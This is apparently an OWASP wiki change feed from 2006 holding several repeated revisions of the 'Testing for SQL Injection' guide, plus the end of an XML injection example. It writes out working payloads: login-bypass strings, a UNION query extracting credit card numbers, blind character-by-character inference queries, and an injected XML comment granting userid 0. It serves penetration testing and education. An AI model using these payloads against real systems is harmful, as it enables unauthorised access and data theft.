	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This way original ''userid'' tag will be commented out and the one injected will be &lt;br /&gt;
parsed in compliance to DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
The result is that user '' 'tony' '' will be logged with ''userid=0'' ( which could be an administrator uid)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Author1, Author2: &amp;quot;Title&amp;quot; - http://www.ietf.org/rfc/rfc2254.txt&amp;lt;br&amp;gt;&lt;br /&gt;
* [2]...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Author: &amp;quot;Title&amp;quot; - http://www.owasp.org &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=12067</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=12067"/>
				<updated>2006-11-08T20:21:40Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==  Brief Summary == &lt;br /&gt;
An SQL injection attack consists to insert or &amp;quot;inject&amp;quot; an SQL query through the input data from the client to the application. A successful sql injection could read sensitive data from the database, to modify the values, to execute administration operations on the database (such shutdown the DBMS) or to recover the content of a given file present on the DBMS filesystem.&lt;br /&gt;
&lt;br /&gt;
==  Description of the Issue ==&lt;br /&gt;
Three classes of SQL Injection exist: inband, out-of-band and inferential type. The type inband uses the same channel of the attack in order to receive the information, the channel out-of-band uses an external channel regarding that one used for the attack to receive the information (for example taking advantage of other protocols of communication, like as smtp protocol), at last the inferential uses inferential methods for being able to gain the wished value. We can find an sql injection vulnerability generally through the presence of particular error messages, products as a result of the tests carry out from the tester. However in some cases the application is written in such way that return one customized error page. In this case we'll speak about Blind Sql Injection. Extending such meant, we can suppose be found in presence of a sql injection vulnerability of type blind in those cases in which, we are not in degree, through the analysis of the page, to got some useful information.&lt;br /&gt;
&lt;br /&gt;
==  Black Box testing and example == &lt;br /&gt;
&lt;br /&gt;
=== Standard Sql Injection Attack ===&lt;br /&gt;
&lt;br /&gt;
Consider the following sql query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username='$username' AND Password='$password' &lt;br /&gt;
&lt;br /&gt;
A query enough similar is generally used from the web applications in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login the system, otherwise the access is denied.&lt;br /&gt;
The values of the input fields are inserted from the user generally through a web form. &lt;br /&gt;
We suppose to insert the following Username and Password values: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1 &lt;br /&gt;
 $password = 1' or '1' = '1 &lt;br /&gt;
&lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username= '' OR '1' = '1' AND Password= '' OR '1' = '1' &lt;br /&gt;
&lt;br /&gt;
Supposing that the values of the parameters are sent to the server through the GET method, and supposing that the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;password=1'%20or%20'1'%20=%20'1 &lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query return a value (or a series of values) because the  condition is always true. In this way the system has authenticated the user without knowing the username and password.&lt;br /&gt;
We consider another query, similar to the previous one, but more similar to the query really used in the web applications for the user authentication: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5 ('$password'))) &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. &lt;br /&gt;
First of all we resolve the problem of the parenthesis. &lt;br /&gt;
That simply consist of adding a number of closing parenthesis until when we'll obtain a corrected query. To resolve the second problem we try to invalidate the second condition.&lt;br /&gt;
We add to our query a final symbol that means that a comment is beginning. In this way everything that follows such symbol is considered as a comment.&lt;br /&gt;
Every DBMS has the own symbols of comment, however a common symbol to the greater part of the database is /*.&lt;br /&gt;
Saying this, the values that we'll use as Username and Password are: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1'))/*&lt;br /&gt;
 $password = foo&lt;br /&gt;
&lt;br /&gt;
In this way we'll get the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5 ('$password'))) &lt;br /&gt;
&lt;br /&gt;
The url request will be:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;password=foo &lt;br /&gt;
&lt;br /&gt;
Which return a number of values. Sometimes, the authentication code verify that the number of returned tuple is exactly equal to 1. In the previous examples, this situation will be difficult (in the database there is only one value). &lt;br /&gt;
In order to go around to this problem, it is enough to insert a sql command, that it imposes that the number of the returned tuple must be one &lt;br /&gt;
In order to make this, we use the command &amp;quot;LIMIT &amp;lt;num&amp;gt;&amp;quot;, where &amp;lt;num&amp;gt; is the number of the tuple that have to be returned. The values of the fields of Username and Password regarding the previous example will be modified according the following way:&lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
 $password = foo &lt;br /&gt;
&lt;br /&gt;
Producing a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;password=foo&lt;br /&gt;
&lt;br /&gt;
=== Union Query Sql Injection Attack ===&lt;br /&gt;
Another test to carry out, regards the use of the UNION operation. Through such operation is possible, in case of Sql Injection vulnerability, to join a query, purposely forged from the tester, to the original query. The result of the forget query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.&lt;br /&gt;
We suppose for our examples that the query executed from the server is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=$id &lt;br /&gt;
&lt;br /&gt;
We will set the following Id value: &lt;br /&gt;
&lt;br /&gt;
 $id=1 UNION ALL SELECT crediNumber,1,1 FROM CreditCarTable&lt;br /&gt;
&lt;br /&gt;
We will have the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable &lt;br /&gt;
&lt;br /&gt;
which will join the result of the original query with all the credit card users. &lt;br /&gt;
The keyword ALL is necessary to go around the query that make use of keyword DISTINCT &lt;br /&gt;
Moreover we notice that beyond the credit card numbers, we have selected other two values without meant. This is necessary, because the two query must have an equal number of parameters, pain the raising of a Syntax Error.&lt;br /&gt;
&lt;br /&gt;
=== Blind Sql Injection Attack ===&lt;br /&gt;
We have pointed out that exists another category of sql injection, called Blind Sql Injection, in which nothing is known on the outcome of an operation. This behaviors happens in those cases in which the programmers has created a customed error page that does not reveal nothing on the structure of the query or on the database.&lt;br /&gt;
Thanks to the inference methods it is possible to avoid this obstacle and thus to succeed to recover the values of some desired fields. The method consists in carrying out a series of booloean queries to the server, observing the answers and finally deducing the meaning of such answers.&lt;br /&gt;
We consider, as always, the www.example.com domain and we suppose that it contains a parameter vulnerable to sql injection of name id.&lt;br /&gt;
This means that carrying out the following request: &lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=1' &lt;br /&gt;
&lt;br /&gt;
we will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE id='$Id' &lt;br /&gt;
&lt;br /&gt;
which is exploitable through the methods seen previously. &lt;br /&gt;
What we want is to obtain the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present practically in every database. For our examples we will use the following pseudo-functions: &lt;br /&gt;
&lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a substring starting from the position &amp;quot;start&amp;quot; of text and of length &amp;quot;length&amp;quot;. If &amp;quot;start&amp;quot; is greater than the length of text, the function returns a null value. &lt;br /&gt;
&lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input text.&lt;br /&gt;
&lt;br /&gt;
Through such functions we will execute our tests on the first character and, when we will have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. &lt;br /&gt;
The tests will take advantage of the function SUBSTRING in order to select only one character at time (selecting a single character means to impose the length parameter to 1) and function ASCII in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of ASCII table, until finding the desired value.&lt;br /&gt;
As an example we will insert the following value for ''id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&lt;br /&gt;
that creates the following query (from now on we will call it &amp;quot;inferential query&amp;quot;): &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&lt;br /&gt;
The previous returns a result if and only if the first character of field username is equal to the ASCII value 97. If we get a false value then we increase the index of ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the table and we pass to analyze the next character, modifying the parameters of SUBSTRING function.&lt;br /&gt;
The problem is to understand in that way we distinguish the test that has carried a true value, from the one that has carried a false value.&lt;br /&gt;
In order to make this we create a query that we are sure returns a false value. &lt;br /&gt;
This is possible by the following value as field ''id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND '1' = '2 &lt;br /&gt;
&lt;br /&gt;
by which will create the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE id='1' AND '1' = '2' &lt;br /&gt;
&lt;br /&gt;
The answer of the server obtained (that is HTML code) will be the false value for our tests. &lt;br /&gt;
This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test exposed before. &lt;br /&gt;
Sometimes this method does not work. In the case the server returns two defferent pages as a result of two identical consecutive web requests we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two template in order to decide the result of the test.&lt;br /&gt;
In the previous tests, we are supposed to know in what way it is possible to understand when we have ended the inference beacause we have obtained the value. &lt;br /&gt;
In order to succeed to understand when we have ended, we will use one characteristic of the SUBSTRING function and the CHAR_LENGTH function.&lt;br /&gt;
When our test will return a true value and we would have used an ASCII code equals to 0 (that is the value null), then that mean that we have ended to make inference, or that the value we have analyzed effectively contains the value null.&lt;br /&gt;
In order to obviate to this problem it is enough to make inference on the parameter length. &lt;br /&gt;
We will insert the following value for the field ''id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed with now (excluded the null value). &lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&lt;br /&gt;
that gives back a true or false value. If we have a true value, then we have ended to make inference and therefore we have gained the value of the parameter. If we obtain a false value, this means that the null character is present on the value of the parameter, then we must continue to analyze the next parameter until we will find another null value.&lt;br /&gt;
&lt;br /&gt;
The blind sql injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
A simple tool which performs this task, via GET requests on MySql DB is SqlDumper, is shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:sqldumper.jpg]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf http://www.nextgenss.com/papers/advanced_sql_injection.pdf http://www.nextgenss.com/papers/HackproofingMySQL.pdf http://www.nextgenss.com/research/papers/sqlinference.pdf http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf&lt;br /&gt;
http://www.ictsc.it/site/IT/projects/sqlDumper/sqlDumper.php&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=12066</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=12066"/>
				<updated>2006-11-08T20:20:28Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==  Brief Summary == &lt;br /&gt;
An SQL injection attack consists to insert or &amp;quot;inject&amp;quot; an SQL query through the input data from the client to the application. A successful sql injection could read sensitive data from the database, to modify the values, to execute administration operations on the database (such shutdown the DBMS) or to recover the content of a given file present on the DBMS filesystem.&lt;br /&gt;
&lt;br /&gt;
==  Description of the Issue ==&lt;br /&gt;
Three classes of SQL Injection exist: inband, out-of-band and inferential type. The type inband uses the same channel of the attack in order to receive the information, the channel out-of-band uses an external channel regarding that one used for the attack to receive the information (for example taking advantage of other protocols of communication, like as smtp protocol), at last the inferential uses inferential methods for being able to gain the wished value. We can find an sql injection vulnerability generally through the presence of particular error messages, products as a result of the tests carry out from the tester. However in some cases the application is written in such way that return one customized error page. In this case we'll speak about Blind Sql Injection. Extending such meant, we can suppose be found in presence of a sql injection vulnerability of type blind in those cases in which, we are not in degree, through the analysis of the page, to got some useful information.&lt;br /&gt;
&lt;br /&gt;
==  Black Box testing and example == &lt;br /&gt;
&lt;br /&gt;
=== Standard Sql Injection Attack ===&lt;br /&gt;
&lt;br /&gt;
Consider the following sql query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username='$username' AND Password='$password' &lt;br /&gt;
&lt;br /&gt;
A query enough similar is generally used from the web applications in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login the system, otherwise the access is denied.&lt;br /&gt;
The values of the input fields are inserted from the user generally through a web form. &lt;br /&gt;
We suppose to insert the following Username and Password values: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1 &lt;br /&gt;
 $password = 1' or '1' = '1 &lt;br /&gt;
&lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username= '' OR '1' = '1' AND Password= '' OR '1' = '1' &lt;br /&gt;
&lt;br /&gt;
Supposing that the values of the parameters are sent to the server through the GET method, and supposing that the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;password=1'%20or%20'1'%20=%20'1 &lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query return a value (or a series of values) because the  condition is always true. In this way the system has authenticated the user without knowing the username and password.&lt;br /&gt;
We consider another query, similar to the previous one, but more similar to the query really used in the web applications for the user authentication: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5 ('$password'))) &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. &lt;br /&gt;
First of all we resolve the problem of the parenthesis. &lt;br /&gt;
That simply consist of adding a number of closing parenthesis until when we'll obtain a corrected query. To resolve the second problem we try to invalidate the second condition.&lt;br /&gt;
We add to our query a final symbol that means that a comment is beginning. In this way everything that follows such symbol is considered as a comment.&lt;br /&gt;
Every DBMS has the own symbols of comment, however a common symbol to the greater part of the database is /*.&lt;br /&gt;
Saying this, the values that we'll use as Username and Password are: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1'))/*&lt;br /&gt;
 $password = foo&lt;br /&gt;
&lt;br /&gt;
In this way we'll get the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5 ('$password'))) &lt;br /&gt;
&lt;br /&gt;
The url request will be:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;password=foo &lt;br /&gt;
&lt;br /&gt;
Which return a number of values. Sometimes, the authentication code verify that the number of returned tuple is exactly equal to 1. In the previous examples, this situation will be difficult (in the database there is only one value). &lt;br /&gt;
In order to go around to this problem, it is enough to insert a sql command, that it imposes that the number of the returned tuple must be one &lt;br /&gt;
In order to make this, we use the command &amp;quot;LIMIT &amp;lt;num&amp;gt;&amp;quot;, where &amp;lt;num&amp;gt; is the number of the tuple that have to be returned. The values of the fields of Username and Password regarding the previous example will be modified according the following way:&lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
 $password = foo &lt;br /&gt;
&lt;br /&gt;
Producing a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;password=foo&lt;br /&gt;
&lt;br /&gt;
=== Union Query Sql Injection Attack ===&lt;br /&gt;
Another test to carry out, regards the use of the UNION operation. Through such operation is possible, in case of Sql Injection vulnerability, to join a query, purposely forged from the tester, to the original query. The result of the forget query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.&lt;br /&gt;
We suppose for our examples that the query executed from the server is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=$id &lt;br /&gt;
&lt;br /&gt;
We will set the following Id value: &lt;br /&gt;
&lt;br /&gt;
 $id=1 UNION ALL SELECT crediNumber,1,1 FROM CreditCarTable&lt;br /&gt;
&lt;br /&gt;
We will have the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable &lt;br /&gt;
&lt;br /&gt;
which will join the result of the original query with all the credit card users. &lt;br /&gt;
The keyword ALL is necessary to go around the query that make use of keyword DISTINCT &lt;br /&gt;
Moreover we notice that beyond the credit card numbers, we have selected other two values without meant. This is necessary, because the two query must have an equal number of parameters, pain the raising of a Syntax Error.&lt;br /&gt;
&lt;br /&gt;
=== Blind Sql Injection ===&lt;br /&gt;
We have pointed out that exists another category of sql injection, called Blind Sql Injection, in which nothing is known on the outcome of an operation. This behaviors happens in those cases in which the programmers has created a customed error page that does not reveal nothing on the structure of the query or on the database.&lt;br /&gt;
Thanks to the inference methods it is possible to avoid this obstacle and thus to succeed to recover the values of some desired fields. The method consists in carrying out a series of booloean queries to the server, observing the answers and finally deducing the meaning of such answers.&lt;br /&gt;
We consider, as always, the www.example.com domain and we suppose that it contains a parameter vulnerable to sql injection of name id.&lt;br /&gt;
This means that carrying out the following request: &lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=1' &lt;br /&gt;
&lt;br /&gt;
we will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE id='$Id' &lt;br /&gt;
&lt;br /&gt;
which is exploitable through the methods seen previously. &lt;br /&gt;
What we want is to obtain the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present practically in every database. For our examples we will use the following pseudo-functions: &lt;br /&gt;
&lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a substring starting from the position &amp;quot;start&amp;quot; of text and of length &amp;quot;length&amp;quot;. If &amp;quot;start&amp;quot; is greater than the length of text, the function returns a null value. &lt;br /&gt;
&lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input text.&lt;br /&gt;
&lt;br /&gt;
Through such functions we will execute our tests on the first character and, when we will have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. &lt;br /&gt;
The tests will take advantage of the function SUBSTRING in order to select only one character at time (selecting a single character means to impose the length parameter to 1) and function ASCII in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of ASCII table, until finding the desired value.&lt;br /&gt;
As an example we will insert the following value for ''id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&lt;br /&gt;
that creates the following query (from now on we will call it &amp;quot;inferential query&amp;quot;): &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&lt;br /&gt;
The previous returns a result if and only if the first character of field username is equal to the ASCII value 97. If we get a false value then we increase the index of ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the table and we pass to analyze the next character, modifying the parameters of SUBSTRING function.&lt;br /&gt;
The problem is to understand in that way we distinguish the test that has carried a true value, from the one that has carried a false value.&lt;br /&gt;
In order to make this we create a query that we are sure returns a false value. &lt;br /&gt;
This is possible by the following value as field ''id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND '1' = '2 &lt;br /&gt;
&lt;br /&gt;
by which will create the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE id='1' AND '1' = '2' &lt;br /&gt;
&lt;br /&gt;
The answer of the server obtained (that is HTML code) will be the false value for our tests. &lt;br /&gt;
This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test exposed before. &lt;br /&gt;
Sometimes this method does not work. In the case the server returns two defferent pages as a result of two identical consecutive web requests we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two template in order to decide the result of the test.&lt;br /&gt;
In the previous tests, we are supposed to know in what way it is possible to understand when we have ended the inference beacause we have obtained the value. &lt;br /&gt;
In order to succeed to understand when we have ended, we will use one characteristic of the SUBSTRING function and the CHAR_LENGTH function.&lt;br /&gt;
When our test will return a true value and we would have used an ASCII code equals to 0 (that is the value null), then that mean that we have ended to make inference, or that the value we have analyzed effectively contains the value null.&lt;br /&gt;
In order to obviate to this problem it is enough to make inference on the parameter length. &lt;br /&gt;
We will insert the following value for the field ''id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed with now (excluded the null value). &lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&lt;br /&gt;
that gives back a true or false value. If we have a true value, then we have ended to make inference and therefore we have gained the value of the parameter. If we obtain a false value, this means that the null character is present on the value of the parameter, then we must continue to analyze the next parameter until we will find another null value.&lt;br /&gt;
&lt;br /&gt;
The blind sql injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
A simple tool which performs this task, via GET requests on MySql DB is SqlDumper, is shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:sqldumper.jpg]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf http://www.nextgenss.com/papers/advanced_sql_injection.pdf http://www.nextgenss.com/papers/HackproofingMySQL.pdf http://www.nextgenss.com/research/papers/sqlinference.pdf http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf&lt;br /&gt;
http://www.ictsc.it/site/IT/projects/sqlDumper/sqlDumper.php&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:Sqldumper.jpg&amp;diff=12065</id>
		<title>File:Sqldumper.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:Sqldumper.jpg&amp;diff=12065"/>
				<updated>2006-11-08T20:11:21Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: SqlDumper photo&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;SqlDumper photo&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=12064</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=12064"/>
				<updated>2006-11-08T20:10:29Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==  Brief Summary == &lt;br /&gt;
An SQL injection attack consists to insert or &amp;quot;inject&amp;quot; an SQL query through the input data from the client to the application. A successful sql injection could read sensitive data from the database, to modify the values, to execute administration operations on the database (such shutdown the DBMS) or to recover the content of a given file present on the DBMS filesystem.&lt;br /&gt;
&lt;br /&gt;
==  Description of the Issue ==&lt;br /&gt;
Three classes of SQL Injection exist: inband, out-of-band and inferential type. The type inband uses the same channel of the attack in order to receive the information, the channel out-of-band uses an external channel regarding that one used for the attack to receive the information (for example taking advantage of other protocols of communication, like as smtp protocol), at last the inferential uses inferential methods for being able to gain the wished value. We can find an sql injection vulnerability generally through the presence of particular error messages, products as a result of the tests carry out from the tester. However in some cases the application is written in such way that return one customized error page. In this case we'll speak about Blind Sql Injection. Extending such meant, we can suppose be found in presence of a sql injection vulnerability of type blind in those cases in which, we are not in degree, through the analysis of the page, to got some useful information.&lt;br /&gt;
&lt;br /&gt;
==  Black Box testing and example == &lt;br /&gt;
&lt;br /&gt;
=== Standard Sql Injection Attack ===&lt;br /&gt;
&lt;br /&gt;
Consider the following sql query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username='$username' AND Password='$password' &lt;br /&gt;
&lt;br /&gt;
